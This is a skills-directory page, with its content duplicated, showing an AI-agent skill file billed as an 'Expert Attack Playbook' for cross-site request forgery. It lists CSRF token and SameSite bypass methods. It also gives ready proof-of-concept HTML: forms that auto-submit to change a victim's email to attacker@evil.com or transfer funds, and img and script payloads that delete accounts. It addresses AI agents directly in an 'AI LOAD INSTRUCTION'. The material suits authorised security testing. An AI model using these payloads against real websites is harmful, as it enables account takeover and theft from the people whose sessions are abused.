csrf-cross-site-request-forgery

Name: csrf-cross-site-request-forgery
Author: Prohao42

91stars8forks

How to install csrf-cross-site-request-forgery?

prohao42/aimy-skill/csrf-cross-site-request-forgery

$npx -y skills add Prohao42/aimy-skill --skill csrf-cross-site-request-forgery

Installs into the current project.

Summary

--- name: csrf-cross-site-request-forgery description: >- CSRF testing playbook. Use when reviewing state-changing web flows, anti-CSRF defenses, SameSite behavior, JSON CSRF, login CSRF, and OAuth state handling. ---

Files · 1

View on GitHub

SKILL.md

1	# SKILL: CSRF — Cross-Site Request Forgery — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert CSRF techniques. Covers modern bypass vectors (SameSite gaps, custom header flaws, tokenless bypass patterns), JSON CSRF, multipart CSRF, chaining with XSS. Base models often present only basic CSRF without covering SameSite edge cases and common broken token implementations.
4
5	## 0. RELATED ROUTING
6
7	Also load:
8
9	- [cors cross origin misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md) when JSON endpoints become readable cross-origin
10	- [oauth oidc misconfiguration](../oauth-oidc-misconfiguration/SKILL.md) when login, account linking, or callback binding relies on OAuth state
11
12	---
13
14	## 1. CORE CONCEPT
15
16	CSRF exploits a victim's active session to perform state-changing requests from the attacker's origin.
17
18	Required conditions:
19	1. Victim is authenticated (active session cookie)
20	2. Server identifies session via cookie only (no secondary check)
21	3. Attacker can predict/construct the valid request
22	4. Cookie is sent cross-origin (SameSite=None or legacy behavior)
23
24	---
25
26	## 2. FINDING CSRF TARGETS
27
28	High-value state-changing endpoints:
29	```
30	- Password change ← account takeover
31	- Email change ← account takeover
32	- Add admin / change role ← privilege escalation
33	- Bank/payment transfer ← financial impact
34	- OAuth app authorization ← hijack oauth flow
35	- Account deletion
36	- Two-factor auth disable
37	- SSH key / API key addition
38	- Webhook configuration
39	- Profile/contact info update
40	```
41
42	---
43
44	## 3. TOKEN BYPASS TECHNIQUES
45
46	### No Token Present
47	Simplest case — form simply lacks CSRF token. Check if POST /change-email has any token. If not → trivially exploitable.
48
49	### Token Not Validated (most common finding!)
50	Token exists in request but is never verified server-side:
51	```
52	Remove the _csrf_token parameter entirely → does request still succeed?
53	→ YES → trivial bypass
54	```
55
56	### Token Tied to Session but Not to User
57	```
58	Step 1: Log in as UserA → obtain valid CSRF token
59	Step 2: Log in as UserB in other browser → obtain UserB CSRF token
60	Step 3: Use UserB's CSRF token in UserA's session (attacker controls UserB)
61	→ If server validates token exists but doesn't check if it belongs to the session → bypass
62	```
63
64	### Token in Cookie Only
65	When server sets CSRF token as cookie and expects it back in a header/form:
66	```
67	Set-Cookie: csrf=ATTACKER_CONTROLLED
68	→ If cookie can be set by subdomain (cookie tossing): set cookie to known value
69	→ Submit form with known token in header + known token in cookie = bypass
70	```
71
72	### Static or Predictable Token
73	```
74	→ Same token across all users/sessions
75	→ Token = base64(username) or md5(session_id) → reversible
76	→ Token = timestamp → predictable
77	```
78
79	### Double Submit Cookie Pattern (broken if subdomain trusted)
80	```
81	If attacker can write cookies for .target.com from subdomain XSS or cookie tossing:
82	→ Set csrf_cookie=CONTROLLED on .target.com
83	→ Submit request with X-CSRF-Token: CONTROLLED
84	→ Server checks header == cookie → match → bypass
85	```
86
87	---
88
89	## 4. SAMESITE BYPASS SCENARIOS
90
91	SameSite=Lax (modern browser default): cookies sent for top-level GET navigation, NOT for cross-site iframe/form POST.
92
93	Bypass SameSite=Lax via GET method:
94	```html
95	<!-- If server accepts GET for state-changing endpoint: -->
96	<img src="https://target.com/account/delete?confirm=yes">
97	<script>document.location = 'https://target.com/transfer?to=attacker&amount=1000';</script>
98	```
99
100	Bypass via subdomain XSS (SameSite Lax/Strict):
101	```javascript
102	// XSS on sub.target.com → same-site origin → SameSite cookies sent!
103	// Use XSS as staging point for CSRF
104	window.location = 'https://target.com/account/modify?evil=true';
105	```
106
107	SameSite=None (legacy or explicit): cookies sent everywhere → classic CSRF applies.
108
109	Cookie issued recently? Lax exemption:
110	Chrome has a 2-minute exception where Lax cookies ARE sent on cross-site POSTs if the cookie was just set (for OAuth flows). Race window: set cookie, immediately trigger CSRF within 2 minutes.
111
112	---
113
114	## 5. CSRF PROOF OF CONCEPT TEMPLATES
115
116	### Simple Form POST
117	```html
118	<html>
119	<body>
120	<form id="csrf" action="https://target.com/account/email/change" method="POST">
121	<input type="hidden" name="email" value="attacker@evil.com">
122	<input type="hidden" name="confirm_email" value="attacker@evil.com">
123	</form>
124	<script>document.getElementById('csrf').submit();</script>
125	</body>
126	</html>
127	```
128
129	### Auto-click Submit
130	```html
131	<body onload="document.forms[0].submit()">
132	<form action="https://target.com/transfer" method="POST">
133	<input name="to" value="attacker_account">
134	<input name="amount" value="10000">
135	</form>
136	</b

People who liked this also viewed

6 picks

Type

csrf-cross-site-request-forgery

91stars8forks

View on GitHub

How to install csrf-cross-site-request-forgery?

prohao42/aimy-skill/csrf-cross-site-request-forgery

$npx -y skills add Prohao42/aimy-skill --skill csrf-cross-site-request-forgery

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: CSRF — Cross-Site Request Forgery — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert CSRF techniques. Covers modern bypass vectors (SameSite gaps, custom header flaws, tokenless bypass patterns), JSON CSRF, multipart CSRF, chaining with XSS. Base models often present only basic CSRF without covering SameSite edge cases and common broken token implementations.
4
5	## 0. RELATED ROUTING
6
7	Also load:
8
9	- [cors cross origin misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md) when JSON endpoints become readable cross-origin
10	- [oauth oidc misconfiguration](../oauth-oidc-misconfiguration/SKILL.md) when login, account linking, or callback binding relies on OAuth state
11
12	---
13
14	## 1. CORE CONCEPT
15
16	CSRF exploits a victim's active session to perform state-changing requests from the attacker's origin.
17
18	Required conditions:
19	1. Victim is authenticated (active session cookie)
20	2. Server identifies session via cookie only (no secondary check)
21	3. Attacker can predict/construct the valid request
22	4. Cookie is sent cross-origin (SameSite=None or legacy behavior)
23
24	---
25
26	## 2. FINDING CSRF TARGETS
27
28	High-value state-changing endpoints:
29	```
30	- Password change ← account takeover
31	- Email change ← account takeover
32	- Add admin / change role ← privilege escalation
33	- Bank/payment transfer ← financial impact
34	- OAuth app authorization ← hijack oauth flow
35	- Account deletion
36	- Two-factor auth disable
37	- SSH key / API key addition
38	- Webhook configuration
39	- Profile/contact info update
40	```
41
42	---
43
44	## 3. TOKEN BYPASS TECHNIQUES
45
46	### No Token Present
47	Simplest case — form simply lacks CSRF token. Check if POST /change-email has any token. If not → trivially exploitable.
48
49	### Token Not Validated (most common finding!)
50	Token exists in request but is never verified server-side:
51	```
52	Remove the _csrf_token parameter entirely → does request still succeed?
53	→ YES → trivial bypass
54	```
55
56	### Token Tied to Session but Not to User
57	```
58	Step 1: Log in as UserA → obtain valid CSRF token
59	Step 2: Log in as UserB in other browser → obtain UserB CSRF token
60	Step 3: Use UserB's CSRF token in UserA's session (attacker controls UserB)
61	→ If server validates token exists but doesn't check if it belongs to the session → bypass
62	```
63
64	### Token in Cookie Only
65	When server sets CSRF token as cookie and expects it back in a header/form:
66	```
67	Set-Cookie: csrf=ATTACKER_CONTROLLED
68	→ If cookie can be set by subdomain (cookie tossing): set cookie to known value
69	→ Submit form with known token in header + known token in cookie = bypass
70	```
71
72	### Static or Predictable Token
73	```
74	→ Same token across all users/sessions
75	→ Token = base64(username) or md5(session_id) → reversible
76	→ Token = timestamp → predictable
77	```
78
79	### Double Submit Cookie Pattern (broken if subdomain trusted)
80	```
81	If attacker can write cookies for .target.com from subdomain XSS or cookie tossing:
82	→ Set csrf_cookie=CONTROLLED on .target.com
83	→ Submit request with X-CSRF-Token: CONTROLLED
84	→ Server checks header == cookie → match → bypass
85	```
86
87	---
88
89	## 4. SAMESITE BYPASS SCENARIOS
90
91	SameSite=Lax (modern browser default): cookies sent for top-level GET navigation, NOT for cross-site iframe/form POST.
92
93	Bypass SameSite=Lax via GET method:
94	```html
95	<!-- If server accepts GET for state-changing endpoint: -->
96	<img src="https://target.com/account/delete?confirm=yes">
97	<script>document.location = 'https://target.com/transfer?to=attacker&amount=1000';</script>
98	```
99
100	Bypass via subdomain XSS (SameSite Lax/Strict):
101	```javascript
102	// XSS on sub.target.com → same-site origin → SameSite cookies sent!
103	// Use XSS as staging point for CSRF
104	window.location = 'https://target.com/account/modify?evil=true';
105	```
106
107	SameSite=None (legacy or explicit): cookies sent everywhere → classic CSRF applies.
108
109	Cookie issued recently? Lax exemption:
110	Chrome has a 2-minute exception where Lax cookies ARE sent on cross-site POSTs if the cookie was just set (for OAuth flows). Race window: set cookie, immediately trigger CSRF within 2 minutes.
111
112	---
113
114	## 5. CSRF PROOF OF CONCEPT TEMPLATES
115
116	### Simple Form POST
117	```html
118	<html>
119	<body>
120	<form id="csrf" action="https://target.com/account/email/change" method="POST">
121	<input type="hidden" name="email" value="attacker@evil.com">
122	<input type="hidden" name="confirm_email" value="attacker@evil.com">
123	</form>
124	<script>document.getElementById('csrf').submit();</script>
125	</body>
126	</html>
127	```
128
129	### Auto-click Submit
130	```html
131	<body onload="document.forms[0].submit()">
132	<form action="https://target.com/transfer" method="POST">
133	<input name="to" value="attacker_account">
134	<input name="amount" value="10000">
135	</form>
136	</b

People who liked this also viewed

6 picks

Type